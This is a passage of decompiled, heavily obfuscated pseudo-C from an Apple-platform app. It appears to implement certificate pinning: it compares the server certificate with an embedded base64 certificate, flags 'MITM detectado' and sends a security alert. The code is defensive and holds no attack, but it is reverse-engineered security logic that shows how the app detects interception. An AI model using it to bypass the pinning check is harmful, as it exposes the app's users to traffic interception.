asc_10028FD00[877] = 68;
asc_10028FD00[878] = 114;
asc_10028FD00[879] = 86;
asc_10028FD00[880] = 57;
asc_10028FD00[881] = 113;
asc_10028FD00[882] = 84;
asc_10028FD00[883] = 122;
asc_10028FD00[884] = 78;
asc_10028FD00[885] = 109;
asc_10028FD00[886] = 53;
asc_10028FD00[887] = 71;
asc_10028FD00[888] = 112;
asc_10028FD00[889] = 68;
asc_10028FD00[890] = 56;
asc_10028FD00[891] = 80;
asc_10028FD00[892] = 121;
asc_10028FD00[893] = 113;
asc_10028FD00[894] = 110;
asc_10028FD00[895] = 71;
asc_10028FD00[896] = 65;
asc_10028FD00[897] = 65;
asc_10028FD00[898] = 65;
asc_10028FD00[899] = 66;
asc_10028FD00[900] = 109;
asc_10028FD00[901] = 110;
asc_10028FD00[902] = 77;
asc_10028FD00[903] = 81;
asc_10028FD00[904] = 115;
asc_10028FD00[905] = 47;
asc_10028FD00[906] = 81;
asc_10028FD00[907] = 65;
asc_10028FD00[908] = 65;
asc_10028FD00[909] = 65;
asc_10028FD00[910] = 81;
asc_10028FD00[911] = 68;
asc_10028FD00[912] = 65;
asc_10028FD00[913] = 69;
asc_10028FD00[914] = 99;
asc_10028FD00[915] = 119;
asc_10028FD00[916] = 82;
asc_10028FD00[917] = 81;
asc_10028FD00[918] = 73;
asc_10028FD00[919] = 104;
asc_10028FD00[920] = 65;
asc_10028FD00[921] = 77;
asc_10028FD00[922] = 57;
asc_10028FD00[923] = 70;
asc_10028FD00[924] = 100;
asc_10028FD00[925] = 75;
asc_10028FD00[926] = 99;
asc_10028FD00[927] = 89;
asc_10028FD00[928] = 104;
asc_10028FD00[929] = 104;
asc_10028FD00[930] = 49;
asc_10028FD00[931] = 112;
asc_10028FD00[932] = 68;
asc_10028FD00[933] = 69;
asc_10028FD00[934] = 52;
asc_10028FD00[935] = 79;
asc_10028FD00[936] = 75;
asc_10028FD00[937] = 76;
asc_10028FD00[938] = 54;
asc_10028FD00[939] = 113;
asc_10028FD00[940] = 86;
asc_10028FD00[941] = 54;
asc_10028FD00[942] = 85;
asc_10028FD00[943] = 105;
asc_10028FD00[944] = 120;
asc_10028FD00[945] = 56;
asc_10028FD00[946] = 111;
asc_10028FD00[947] = 68;
asc_10028FD00[948] = 104;
asc_10028FD00[949] = 73;
asc_10028FD00[950] = 82;
asc_10028FD00[951] = 69;
asc_10028FD00[952] = 76;
asc_10028FD00[953] = 67;
asc_10028FD00[954] = 102;
asc_10028FD00[955] = 75;
asc_10028FD00[956] = 101;
asc_10028FD00[957] = 79;
asc_10028FD00[958] = 111;
asc_10028FD00[959] = 122;
asc_10028FD00[960] = 121;
asc_10028FD00[961] = 117;
asc_10028FD00[962] = 99;
asc_10028FD00[963] = 54;
asc_10028FD00[964] = 65;
asc_10028FD00[965] = 105;
asc_10028FD00[966] = 66;
asc_10028FD00[967] = 67;
asc_10028FD00[968] = 90;
asc_10028FD00[969] = 48;
asc_10028FD00[970] = 109;
asc_10028FD00[971] = 71;
asc_10028FD00[972] = 48;
asc_10028FD00[973] = 49;
asc_10028FD00[974] = 103;
asc_10028FD00[975] = 57;
asc_10028FD00[976] = 112;
asc_10028FD00[977] = 76;
asc_10028FD00[978] = 47;
asc_10028FD00[979] = 55;
asc_10028FD00[980] = 114;
asc_10028FD00[981] = 80;
asc_10028FD00[982] = 102;
asc_10028FD00[983] = 77;
asc_10028FD00[984] = 87;
asc_10028FD00[985] = 48;
asc_10028FD00[986] = 66;
asc_10028FD00[987] = 70;
asc_10028FD00[988] = 85;
asc_10028FD00[989] = 80;
asc_10028FD00[990] = 57;
asc_10028FD00[991] = 97;
asc_10028FD00[992] = 102;
asc_10028FD00[993] = 83;
asc_10028FD00[994] = 57;
asc_10028FD00[995] = 80;
asc_10028FD00[996] = 84;
asc_10028FD00[997] = 84;
asc_10028FD00[998] = 112;
asc_10028FD00[999] = 65;
asc_10028FD00[1000] = 99;
asc_10028FD00[1001] = 89;
asc_10028FD00[1002] = 43;
asc_10028FD00[1003] = 84;
asc_10028FD00[1004] = 116;
asc_10028FD00[1005] = 71;
asc_10028FD00[1006] = 100;
asc_10028FD00[1007] = 76;
asc_10028FD00[1008] = 118;
asc_10028FD00[1009] = 65;
asc_10028FD00[1010] = 66;
asc_10028FD00[1011] = 50;
asc_10028FD00[1012] = 65;
asc_10028FD00[1013] = 66;
asc_10028FD00[1014] = 109;
asc_10028FD00[1015] = 71;
asc_10028FD00[1016] = 49;
asc_10028FD00[1017] = 77;
asc_10028FD00[1018] = 99;
asc_10028FD00[1019] = 111;
asc_10028FD00[1020] = 113;
asc_10028FD00[1021] = 109;
asc_10028FD00[1022] = 47;
asc_10028FD00[1023] = 43;
asc_10028FD00[1024] = 117;
asc_10028FD00[1025] = 103;
asc_10028FD00[1026] = 78;
asc_10028FD00[1027] = 118;
asc_10028FD00[1028] = 101;
asc_10028FD00[1029] = 67;
asc_10028FD00[1030] = 112;
asc_10028FD00[1031] = 78;
asc_10028FD00[1032] = 65;
asc_10028FD00[1033] = 90;
asc_10028FD00[1034] = 71;
asc_10028FD00[1035] = 113;
asc_10028FD00[1036] = 122;
asc_10028FD00[1037] = 105;
asc_10028FD00[1038] = 49;
asc_10028FD00[1039] = 121;
asc_10028FD00[1040] = 77;
asc_10028FD00[1041] = 81;
asc_10028FD00[1042] = 43;
asc_10028FD00[1043] = 117;
asc_10028FD00[1044] = 122;
asc_10028FD00[1045] = 108;
asc_10028FD00[1046] = 49;
asc_10028FD00[1047] = 119;
asc_10028FD00[1048] = 81;
asc_10028FD00[1049] = 83;
asc_10028FD00[1050] = 48;
asc_10028FD00[1051] = 108;
asc_10028FD00[1052] = 84;
asc_10028FD00[1053] = 77;
asc_10028FD00[1054] = 102;
asc_10028FD00[1055] = 85;
asc_10028FD00[1056] = 65;
asc_10028FD00[1057] = 65;
asc_10028FD00[1058] = 65;
asc_10028FD00[1059] = 66;
asc_10028FD00[1060] = 109;
asc_10028FD00[1061] = 110;
asc_10028FD00[1062] = 77;
asc_10028FD00[1063] = 81;
asc_10028FD00[1064] = 115;
asc_10028FD00[1065] = 56;
asc_10028FD00[1066] = 56;
asc_10028FD00[1067] = 65;
asc_10028FD00[1068] = 65;
asc_10028FD00[1069] = 65;
asc_10028FD00[1070] = 81;
asc_10028FD00[1071] = 68;
asc_10028FD00[1072] = 65;
asc_10028FD00[1073] = 69;
asc_10028FD00[1074] = 99;
asc_10028FD00[1075] = 119;
asc_10028FD00[1076] = 82;
asc_10028FD00[1077] = 81;
asc_10028FD00[1078] = 73;
asc_10028FD00[1079] = 103;
asc_10028FD00[1080] = 70;
asc_10028FD00[1081] = 110;
asc_10028FD00[1082] = 66;
asc_10028FD00[1083] = 50;
asc_10028FD00[1084] = 70;
asc_10028FD00[1085] = 66;
asc_10028FD00[1086] = 71;
asc_10028FD00[1087] = 120;
asc_10028FD00[1088] = 79;
asc_10028FD00[1089] = 117;
asc_10028FD00[1090] = 90;
asc_10028FD00[1091] = 48;
asc_10028FD00[1092] = 73;
asc_10028FD00[1093] = 112;
asc_10028FD00[1094] = 80;
asc_10028FD00[1095] = 98;
asc_10028FD00[1096] = 118;
asc_10028FD00[1097] = 103;
asc_10028FD00[1098] = 88;
asc_10028FD00[1099] = 97;
asc_10028FD00[1100] = 85;
asc_10028FD00[1101] = 106;
asc_10028FD00[1102] = 122;
asc_10028FD00[1103] = 70;
asc_10028FD00[1104] = 53;
asc_10028FD00[1105] = 114;
asc_10028FD00[1106] = 102;
asc_10028FD00[1107] = 77;
asc_10028FD00[1108] = 77;
asc_10028FD00[1109] = 75;
asc_10028FD00[1110] = 114;
asc_10028FD00[1111] = 112;
asc_10028FD00[1112] = 111;
asc_10028FD00[1113] = 85;
asc_10028FD00[1114] = 118;
asc_10028FD00[1115] = 120;
asc_10028FD00[1116] = 82;
asc_10028FD00[1117] = 98;
asc_10028FD00[1118] = 112;
asc_10028FD00[1119] = 88;
asc_10028FD00[1120] = 104;
asc_10028FD00[1121] = 86;
asc_10028FD00[1122] = 81;
asc_10028FD00[1123] = 67;
asc_10028FD00[1124] = 73;
asc_10028FD00[1125] = 81;
asc_10028FD00[1126] = 68;
asc_10028FD00[1127] = 53;
asc_10028FD00[1128] = 85;
asc_10028FD00[1129] = 122;
asc_10028FD00[1130] = 122;
asc_10028FD00[1131] = 89;
asc_10028FD00[1132] = 111;
asc_10028FD00[1133] = 54;
asc_10028FD00[1134] = 97;
asc_10028FD00[1135] = 85;
asc_10028FD00[1136] = 51;
asc_10028FD00[1137] = 102;
asc_10028FD00[1138] = 78;
asc_10028FD00[1139] = 70;
asc_10028FD00[1140] = 106;
asc_10028FD00[1141] = 102;
asc_10028FD00[1142] = 116;
asc_10028FD00[1143] = 111;
asc_10028FD00[1144] = 85;
asc_10028FD00[1145] = 74;
asc_10028FD00[1146] = 118;
asc_10028FD00[1147] = 103;
asc_10028FD00[1148] = 71;
asc_10028FD00[1149] = 77;
asc_10028FD00[1150] = 68;
asc_10028FD00[1151] = 54;
asc_10028FD00[1152] = 82;
asc_10028FD00[1153] = 85;
asc_10028FD00[1154] = 107;
asc_10028FD00[1155] = 78;
asc_10028FD00[1156] = 107;
asc_10028FD00[1157] = 98;
asc_10028FD00[1158] = 81;
asc_10028FD00[1159] = 81;
asc_10028FD00[1160] = 49;
asc_10028FD00[1161] = 105;
asc_10028FD00[1162] = 81;
asc_10028FD00[1163] = 79;
asc_10028FD00[1164] = 76;
asc_10028FD00[1165] = 90;
asc_10028FD00[1166] = 112;
asc_10028FD00[1167] = 104;
asc_10028FD00[1168] = 55;
asc_10028FD00[1169] = 122;
asc_10028FD00[1170] = 65;
asc_10028FD00[1171] = 75;
asc_10028FD00[1172] = 66;
asc_10028FD00[1173] = 103;
asc_10028FD00[1174] = 103;
asc_10028FD00[1175] = 113;
asc_10028FD00[1176] = 104;
asc_10028FD00[1177] = 107;
asc_10028FD00[1178] = 106;
asc_10028FD00[1179] = 79;
asc_10028FD00[1180] = 80;
asc_10028FD00[1181] = 81;
asc_10028FD00[1182] = 81;
asc_10028FD00[1183] = 68;
asc_10028FD00[1184] = 65;
asc_10028FD00[1185] = 103;
asc_10028FD00[1186] = 78;
asc_10028FD00[1187] = 74;
asc_10028FD00[1188] = 65;
asc_10028FD00[1189] = 68;
asc_10028FD00[1190] = 66;
asc_10028FD00[1191] = 71;
asc_10028FD00[1192] = 65;
asc_10028FD00[1193] = 105;
asc_10028FD00[1194] = 69;
asc_10028FD00[1195] = 65;
asc_10028FD00[1196] = 105;
asc_10028FD00[1197] = 57;
asc_10028FD00[1198] = 86;
asc_10028FD00[1199] = 87;
asc_10028FD00[1200] = 82;
asc_10028FD00[1201] = 53;
asc_10028FD00[1202] = 76;
asc_10028FD00[1203] = 50;
asc_10028FD00[1204] = 120;
asc_10028FD00[1205] = 82;
asc_10028FD00[1206] = 77;
asc_10028FD00[1207] = 81;
asc_10028FD00[1208] = 68;
asc_10028FD00[1209] = 106;
asc_10028FD00[1210] = 106;
asc_10028FD00[1211] = 90;
asc_10028FD00[1212] = 83;
asc_10028FD00[1213] = 73;
asc_10028FD00[1214] = 97;
asc_10028FD00[1215] = 83;
asc_10028FD00[1216] = 71;
asc_10028FD00[1217] = 82;
asc_10028FD00[1218] = 105;
asc_10028FD00[1219] = 66;
asc_10028FD00[1220] = 74;
asc_10028FD00[1221] = 50;
asc_10028FD00[1222] = 50;
asc_10028FD00[1223] = 97;
asc_10028FD00[1224] = 70;
asc_10028FD00[1225] = 50;
asc_10028FD00[1226] = 69;
asc_10028FD00[1227] = 72;
asc_10028FD00[1228] = 114;
asc_10028FD00[1229] = 122;
asc_10028FD00[1230] = 87;
asc_10028FD00[1231] = 103;
asc_10028FD00[1232] = 117;
asc_10028FD00[1233] = 56;
asc_10028FD00[1234] = 113;
asc_10028FD00[1235] = 104;
asc_10028FD00[1236] = 112;
asc_10028FD00[1237] = 69;
asc_10028FD00[1238] = 56;
asc_10028FD00[1239] = 67;
asc_10028FD00[1240] = 73;
asc_10028FD00[1241] = 81;
asc_10028FD00[1242] = 68;
asc_10028FD00[1243] = 68;
asc_10028FD00[1244] = 81;
asc_10028FD00[1245] = 72;
asc_10028FD00[1246] = 104;
asc_10028FD00[1247] = 104;
asc_10028FD00[1248] = 109;
asc_10028FD00[1249] = 99;
asc_10028FD00[1250] = 82;
asc_10028FD00[1251] = 82;
asc_10028FD00[1252] = 98;
asc_10028FD00[1253] = 116;
asc_10028FD00[1254] = 98;
asc_10028FD00[1255] = 100;
asc_10028FD00[1256] = 65;
asc_10028FD00[1257] = 90;
asc_10028FD00[1258] = 76;
asc_10028FD00[1259] = 56;
asc_10028FD00[1260] = 88;
asc_10028FD00[1261] = 100;
asc_10028FD00[1262] = 79;
asc_10028FD00[1263] = 99;
asc_10028FD00[1264] = 49;
asc_10028FD00[1265] = 118;
asc_10028FD00[1266] = 82;
asc_10028FD00[1267] = 69;
asc_10028FD00[1268] = 119;
asc_10028FD00[1269] = 114;
asc_10028FD00[1270] = 98;
asc_10028FD00[1271] = 47;
asc_10028FD00[1272] = 69;
asc_10028FD00[1273] = 72;
asc_10028FD00[1274] = 83;
asc_10028FD00[1275] = 100;
asc_10028FD00[1276] = 84;
asc_10028FD00[1277] = 49;
asc_10028FD00[1278] = 79;
asc_10028FD00[1279] = 50;
asc_10028FD00[1280] = 102;
asc_10028FD00[1281] = 80;
asc_10028FD00[1282] = 102;
asc_10028FD00[1283] = 112;
asc_10028FD00[1284] = 89;
asc_10028FD00[1285] = 65;
asc_10028FD00[1286] = 61;
asc_10028FD00[1287] = 61;
asc_10028FD00[1288] = 0;
strcpy(aQ_9, "MITM detectado");
asc_10028F7A0[0] = 67;
asc_10028F7A0[1] = 101;
asc_10028F7A0[2] = 114;
asc_10028F7A0[3] = 116;
v12 = 0;
asc_10028F7A0[4] = 105;
v35 = -93;
v10 = -600454561;
v13 = -1321273407;
LABEL_112:
if ( !v12 )
v10 = v13;
goto LABEL_139;
}
if ( v30 == 1919168383 )
{
v27 = v26;
v12 = 1;
v10 = -1538823216;
v13 = -615132694;
goto LABEL_112;
}
}
}
else if ( v30 <= 1258470825 )
{
switch ( v30 )
{
case 974779768:
*v37 = -1413461813;
break;
case 1100518180:
*v37 = 1919168383;
v26 = v33;
break;
case 1157633675:
v12 = 0;
v10 = 1157633675;
v13 = -1795257380;
goto LABEL_112;
}
}
else if ( v30 > 1375883812 )
{
if ( v30 == 1375883813 )
{
((void (__fastcall *)(NSURLCredential *, _QWORD, NSURLCredential *))a5[1].super.isa)(a5, 0, v33);
objc_release(a5);
LABEL_116:
*v37 = -1929362201;
}
else if ( v30 == 1517530226 )
{
v10 = 509706689;
goto LABEL_139;
}
}
else
{
if ( v30 == 1258470826 )
{
v18 = SecCertificateCopyData(certificate);
v19 = objc_alloc((Class)&OBJC_CLASS___NSData);
v20 = HikariFunctionWrapper_19315(v19, "initWithBase64EncodedString:options:");
-[__CFData isEqualToData:](v18, "isEqualToData:", v20);
goto LABEL_110;
}
if ( v30 == 1276107864 )
{
v34 = v29 == 0;
*v37 = -737319551;
}
}
}
if ( v30 > -1631578344 )
break;
if ( v30 > -1929362202 )
{
if ( v30 <= -1795257381 )
{
switch ( v30 )
{
case -1929362201:
((void (__fastcall *)(NSURLCredential *, _QWORD, NSURLCredential *))a5[1].super.isa)(a5, 0, v33);
objc_release(a5);
v10 = 1100518180;
goto LABEL_139;
case -1925230794:
v15 = 1;
v10 = 194732723;
v16 = 1725510297;
LABEL_128:
if ( v15 )
v10 = v16;
LABEL_139:
*v37 = v10;
break;
case -1883493771:
v32 = SecCertificateCopyData(certificate);
v14 = HikariFunctionWrapper_19311((objc_class *)&OBJC_CLASS___NSData);
v25 = objc_msgSend(
v14,
"initWithBase64EncodedString:options:",
CFSTR("\xCC\xD6\t\xBF'_=\xD3\x02i\x82`\xB2'\xD7\x1C!l}Y\xC1\x5C\xB0E\xB5\xFBP%.\x8EH\x9E\xA1\xB7܋\x93\x86<a6x1\xD4\x7A\xBB$v'\xABfCU\xF6\xE4\x15\x3B\xD4\x35\xE1\x19\x72ǂ\xAB\x99\xC8\x1A\x9C\xC8\x5C\x85\xF7\xB0\x25\x4C\x92Ӊ\x9B\x06\xA3\"P\xA1g\xC1\xD7\xC2\x1B\t%\x16\xA3\xCA\xDB\x96\xE0\x73\xF2VЧ\xB4\vHZ\x97!I7\xA1\xA6;\xF3\xC5\xA9\x44\b\xB3ap\xAE{f\x0E\x98\xDD\x2F\xCC\xC0\xEB\xFE\xA4\xD7\x75\x1C5\xE2\x73\x53v3h']\x01Ľ\xDE\x1EƝf\xC9\x2D\x1E}\xE0\xA5\xE2\r\xA9&-/\x1D\xBC\xA5@\x9B2/\xC5\x11\"\x0F{\xE1\x9B\xDD\x13\x93hI\xED\x9F\xFB\x8D\xE9\xFC\xCB\xC9\x38l\xB5\x13\x9E\xB9\xF2\x67\xFD\xC6\xA9\x1A\xA0N\x90X\xBEf\xAA=\xA0\v\xAC\xECO\xCB\xFC\xB8\x80\x05\xB4\x1Bk\xFA3l\xD9\x0D\xF3\x93\xF5\x08\xE9\x2C\xB6|J6\xB1Q\xBF\x9CZ,\xAE\xCB\x74L0\xDF\x36\xDD\x69\xDD\x78}D\x8E\x12ze\xA1\xBA\x0F\x1AX\xE9\x84\x0D\xE5\x68\xCD`\x1Aq\xF5\x7F\x67\xA3\x1B\x87\xFE{\xF5\x65\x8B\x3AT\x14\xA3\x8B\xE9\x6B\x8A\x9BܥL\xB6=\xD3\x05C\xA3u\xCB\xCF,\xE6\xC0\xEF\x82\x95Mi;j)t\xBF\x1E\xDB\x3E(fO\t./d`\xA7\xEA\x52\xCA\at\xE6\x5C\xAB\xB3f\x01\x04D\xCD\xF2\xD4\x26\xD4\xEA\xA3ָ\x97\x01\x8F^\xE7\x63\x67_A\xE2\x0B\x57\x8D{\xE3\xA5\x5C\xB2\x04e:S\xFF\x8AD\xC2\x5A\xEC\xFF\x51{\xBD??\xBD\xE3\xBA\x25\xB5\x81\xA750\x12\xE0\x87\x11\xAA\xF5\x29\x45\xF5\x9D\xE9\x07\x92\xDF\x0BTl\x99\xF2\xA8\x19\x52\x8F\x83\xAA\v\x9EJ\x83Q\x83\v\xAC-\xB4y\xCD\x70\x04\xB0\xE6\x6D\xC5\xADUn\x1B\xB5&X|jIy\xB3\x96\xB6\x03\xA9XG\xC0\xEAv\xD3\x61\xE9\x9D\xC3\xA8\x11\xCE\x25\xF1\x06\x3F\x5F\xD3\x7AZ\xD5\x3CE\f\xE3\x50\x3D\xDD\xE0\x83\x75\xE5\x07\x78\xDB\xF8\n\xAF6\x02j\xF2\x0C\x0B\x6E\"&m\xD1\x67\xB4\xF6\x88\xAF\x0C\xD8\x36\x01[k%A\xBFJJzEh\x04,\xF3\x3C\x05\x28\xD9\x51\x12,\xC6\x4C\x84<Z\xFCև\xBD\x8F\x1E\\c~\xCC\x7C\xA7\x81.\xD7\x18\x8B@\x00C\xBC^\x98\nt\x9B\xB2\xE5\xDD\xC5\xD5\x32O \xD7\xD6\x1B9f \xC8\xF1AF\xA8)ݜ6(\x19\xC3\x23\x99\x1E\x18\xAD/-q,oĢ\n\tB\xEC\x5E\x64\xE2\x96\xCA<Z\xB2\x93\x1Dkuj\xEE\x1B\xBA\xE1\xAD\x24r2\xCA\x4D\x05)\x951\xF8\x15z\xB5\xD7\xDB\xBF\x00|[\x98\xAEԋQ#=\xF2\xF4\x95\x5D\x01\x82/>\xD5\x45\xB2\xC3\x7Aƺ\xC6\x28\v\xE4\xA4\xD1\x1C\xB1\x80\xE7\x0B\x3B\xB1]e\a\x8AkO\x05\xBEZ9K\x16EG\xE1\x82\x52vU\xA8Ry\x1B\x1E\x1D\xFF\xFC\xEF\x7D\x5A\x8D\xDA\x67h\x88.\x8F$#B\x0E\xA8\xE0\xDF\x78\xFCWBb\xCE\x37\xEA\xFB\x0B\x8BDX\x18\r\x92:\xB1\xDC\x0E\x13\xAD\xD9\x1Bx\xF9V\r~\x8B\v3\xBCy\xC6\x1C\xA62\x11\x97\xD9\x50-`\x9Fz\x05)e\xED\x4C\x5EYB\x8BHA\xAE\x14\xCE\xEFΙ\xF7\xB9\x97\x34枧\xFF-Z3\xBD\x19P\xBE\x86\xE9\x59\xDD\x11\xD8\x73\x01\xA4\xABk\xB2yW6Xt\xF4\xD1\x81\xBE\xB5\xDF\x3A\x0E\xBDꤶ\x91\xC3\xE8\xD7\x17\xB7-M\x10\xD6\xF4B\x9A\xAAt\xE2\xB7\x5A\xB6Pg}0`\xEE\x59\xC3\f\\\xC1\x46\xA6\x10\x7F \x02\x9E75&\xC6\xE3\x13N\xB1}\x98_\x04\x81\xB7\xB2\x81\xE1\x25\xB5H\xC7\x6B\x12\xC6\x71\x99\xD8\xC4\r\x9E\r\xEA\xEA\x4E\xEA\x66\xD9\xCB\x6A\xA1ؒ\xC5\x2E\x9A\x05\x02\xB6څ9\xB5q\xF2\x92\x0B\xBF-\a,f\xC0\x3F.\x1A\xA0U\xE1\xCF\xBB\n\x9El\x8C^\xB6oGc\x86\x9FM^\xC0\x50\n\xBBn\x1E\xC8\xC5\xC4\xC9\xE0\xA5\x7B\x82\xDB\xF2\xF7\x25\x20\x6C-Q\x1BU\x9CW\xA98\xF2\xFF\x56\x3ElH6\x8Cv\xAD\x81\xF4\x25\xF8\x99\n\xB0\xA9\x86P\\o\xC6\x2A,X6\x9F\fU\x11\nm\x12\x05\xD2\x62\x94\xDB\x50I\x80+\xD1\x38\nW\x04\x80\xFF\xBC\x03\x17\xA8Y\xF7\x6A\x07\x34\x94\x89p\xBC\xBB\xEB\x0B\xD7>R\xFB\xBC\xD9\x2B\xB4\xA7\x06\x8D\xDB\xDC\xB1\xBF\xB4\xE6\x86\x4E\xE0\x7A\x35Ų\x9B*3\xF0\x27\xE6\x94,\xDC\x60c\xBAK}\xDB\x35E\xBF2\xEF\x30\x7F\x06\xA63\x14\\\xF4\x3D\xEB\xA9\x9B\x03\x90F\xF0\x26\x64\x7A\xB1\x05\xCF\x02\xEA\xB9\x6F\xB4Ɣ\xADzS\x8Df\xC6\x56J\xD2\x3B,\x0F~\xE4\xE9\xB3\xAF\xF7\x53\x27\x2F\xC7\x5C\xEC\x4C\x57\xE9\x30\x66e_O\xA6x\x85\aa\xA4\xFDeK4\xF7\xDC\x54\x90\x9A9.\xBF\x9C\x8AT&l\x86\xC4\x0E\xDB\xEA\xBFͷ\x02C\x9C\x83\xB8\x93\xF9!F\t\x0E\xB0\xB2\xB2+\x16\x83\x97\xCA\x3Cu\xE2\xA7\x0E\x018\x8Fv\xD9\x76\x80\v\xAD\x8B\xD8\x70j\x00\x9C\xF3\x0B\x98\xDF\xBF\x00P\x00Q\x10\xE3\x3F\xF4\x831\xABg\xE1\x2D\x2D\x01\xF9Wςyn˟\x84Z\xDA\x1E\xBA\xF4\xFD\xA9\xB6V\xA9\xF2\x90\x40\xEA(3$m\xCD\x78\xA4\xEC\x75\x8B\xCB\x548\x19\xBD\x8A\xD7\xC6"),
0);
v36 = (unsigned __int8)HikariFunctionWrapper_19313(v32, "isEqualToData:") == 0;
v15 = 0;
v10 = -507806934;
v16 = 1258470826;
goto LABEL_128;
}
}
else if ( v30 > -1742880440 )
{
if ( v30 == -1742880439 )
{
*v37 = -1626916486;
}
else if ( v30 == -1672755474 )
{
sendSecurityAlert(
CFSTR("ڧ\v\xFF\xB5c^O\xC6\x22\xBB\xAA\xB6M\xB4"),
CFSTR(";\xF4\xF0\x50\xDB\xE0\xA3\x59г[w\xC5\x54\xD4\xD7\x1E\x90A`|v\x8A\x11k\x84\xFC\xE5\xC4\xE4{]\x0F\x10\x8EQޓ\xA6\xB1X2"));
v15 = 1;
v10 = -1672755474;
v16 = -964481987;
goto LABEL_128;
}
}
else if ( v30 == -1795257380 )
{
*v37 = -2024120920;
}
else if ( v30 == -1759701029 )
{
*v37 = -2108095581;
}
}
else if ( v30 <= -2058179819 )
{
switch ( v30 )
{
case -2108095581:
v29 = dword_10029F69C;
v10 = 334542045;
goto LABEL_139;
case -2098073017:
v10 = 1157633675;
goto LABEL_139;
case -2085450313:
v10 = 1517530226;
goto LABEL_139;
}
}
else if ( v30 > -2024120921 )
{
if ( v30 == -2024120920 )
goto LABEL_116;
if ( v30 == -1987847876 )
{
asc_10028F7A0[5] = v35 - 2 * (v35 & 0x45) - 59;
asc_10028F7A0[6] = 105;
asc_10028F7A0[7] = 99;
asc_10028F7A0[8] = 97;
asc_10028F7A0[9] = 100;
asc_10028F7A0[10] = 111;
asc_10028F7A0[11] = 32;
asc_10028F7A0[12] = 105;
asc_10028F7A0[13] = 110;
asc_10028F7A0[14] = 116;
asc_10028F7A0[15] = 101;
asc_10028F7A0[16] = 114;
asc_10028F7A0[17] = 99;
asc_10028F7A0[18] = 101;
asc_10028F7A0[19] = 112;
asc_10028F7A0[20] = 116;
asc_10028F7A0[21] = 97;
asc_10028F7A0[22] = 100;
asc_10028F7A0[23] = 111;
asc_10028F7A0[24] = 32;
asc_10028F7A0[25] = 111;
asc_10028F7A0[26] = 32;
asc_10028F7A0[27] = 114;
asc_10028F7A0[28] = 101;
asc_10028F7A0[29] = 100;
asc_10028F7A0[30] = 105;
asc_10028F7A0[31] = 114;
asc_10028F7A0[32] = 101;
asc_10028F7A0[33] = 99;
asc_10028F7A0[34] = 99;
asc_10028F7A0[35] = 105;
asc_10028F7A0[36] = 111;
asc_10028F7A0[37] = 110;
asc_10028F7A0[38] = 97;
asc_10028F7A0[39] = 100;
asc_10028F7A0[40] = 111;
asc_10028F7A0[41] = 0;
*v37 = -1631578343;
}
}
else
{
if ( v30 == -2058179818 )
{
v12 = 0;
v10 = -600454561;
v13 = 1796602272;
goto LABEL_112;
}
if ( v30 == -2026401484 )
{
dword_10029F69C = 1;
objc_retain(a5);
v7 = HikariFunctionWrapper_19307(a4, "protectionSpace");
v23 = objc_retainAutoreleasedReturnValue(v7);
v8 = (__SecTrust *)objc_msgSend(v23, "serverTrust");
v9 = 0;
trust = v8;
v10 = -2026401484;
v11 = -87793588;
goto LABEL_137;
}
}
}
if ( v30 > -964481988 )
break;
if ( v30 <= -1485243325 )
{
switch ( v30 )
{
case -1631578343:
v15 = 1;
v10 = 140570714;
v16 = -2026401484;
goto LABEL_128;
case -1626916486:
v9 = 0;
v10 = -1742880439;
v11 = -485364988;
LABEL_137:
if ( !v9 )
v10 = v11;
goto LABEL_139;
case -1538823216:
objc_release(v27);
objc_release(v25);
objc_release(v32);
v10 = -924256157;
goto LABEL_139;
}
}
else if ( v30 > -1321273408 )
{
if ( v30 == -1321273407 )
{
*v37 = -1987847876;
}
else if ( v30 == -1108564884 )
{
v15 = 0;
v10 = -1672755474;
v16 = -931174199;
goto LABEL_128;
}
}
else
{
if ( v30 == -1485243324 )
{
v15 = 1;
v10 = 1939635117;
v16 = 1276107864;
goto LABEL_128;
}
if ( v30 == -1413461813 )
LABEL_110:
*v37 = -1883493771;
}
}
if ( v30 <= -748427908 )
break;
switch ( v30 )
{
case -748427907:
*v37 = 1157633675;
break;
case -737319551:
*v37 = 380527176;
break;
case -718252623:
v12 = 0;
v10 = -1759701029;
v13 = -2108095581;
goto LABEL_112;
}
}
if ( v30 > -924256158 )
break;
if ( v30 == -964481987 )
{
*v37 = 1699560066;
}
else if ( v30 == -931174199 )
{
sendSecurityAlert(
CFSTR("ڧ\v\xFF\xB5c^O\xC6\x22\xBB\xAA\xB6M\xB4"),
CFSTR(";\xF4\xF0\x50\xDB\xE0\xA3\x59г[w\xC5\x54\xD4\xD7\x1E\x90A`|v\x8A\x11k\x84\xFC\xE5\xC4\xE4{]\x0F\x10\x8EQޓ\xA6\xB1X2"));
*v37 = -1672755474;
}
}
if ( v30 != -892047498 )
break;
*v37 = 1517530226;
}
}
while ( v30 != -924256157 );
return result;
}
// 10020584E: variable 'v29' is possibly undefined
// 10020597A: variable 'v26' is possibly undefined
// 100205B48: variable 'certificate' is possibly undefined
// 100205CA0: variable 'v27' is possibly undefined
// 100205CA7: variable 'v25' is possibly undefined
// 100205D49: variable 'v23' is possibly undefined
// 1001FFD86: using guessed type __int64 __fastcall sendSecurityAlert(_QWORD, _QWORD);
// 100290230: using guessed type __CFString stru_100290230;
// 100290270: using guessed type __CFString cfstr_Q_9;
// 1002902B0: using guessed type __CFString stru_1002902B0;
// 10029F69C: using guessed type int dword_10029F69C;
//----- (00000001002111A5) ----------------------------------------------------
void __cdecl __sendSecurityAlert_block_invoke_2(id a1, NSData *a2, NSURLResponse *a3, NSError *a4)
{
int v5; // eax
char v6; // cf
int v7; // ecx
char v8; // cf
int v9; // ecx
bool v10; // zf
int v11; // ecx
id v12; // rax
id v13; // rax
id v14; // rax
const char *v15; // [rsp+0h] [rbp-50h]
int v16; // [rsp+8h] [rbp-48h]
int v17; // [rsp+Ch] [rbp-44h] BYREF
id v18; // [rsp+10h] [rbp-40h]
__int16 v19; // [rsp+1Ch] [rbp-34h]
bool v20; // [rsp+1Eh] [rbp-32h]
bool v21; // [rsp+1Fh] [rbp-31h]
int *v22; // [rsp+20h] [rbp-30h]
v16 = dword_10029F6A0;
v17 = -59210254;
v22 = &v17;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v17 > 86978524 )
{
if ( v17 <= 1161279510 )
{
if ( v17 <= 478847189 )
{
if ( v17 > 302356482 )
{
if ( v17 == 302356483 )
{
v8 = 0;
v5 = 1960116575;
v9 = -2022971828;
LABEL_76:
if ( v8 )
v5 = v9;
goto LABEL_103;
}
if ( v17 == 328489857 )
{
a3 = (NSURLResponse *)672350217;
v5 = 1584461862;
goto LABEL_103;
}
}
else
{
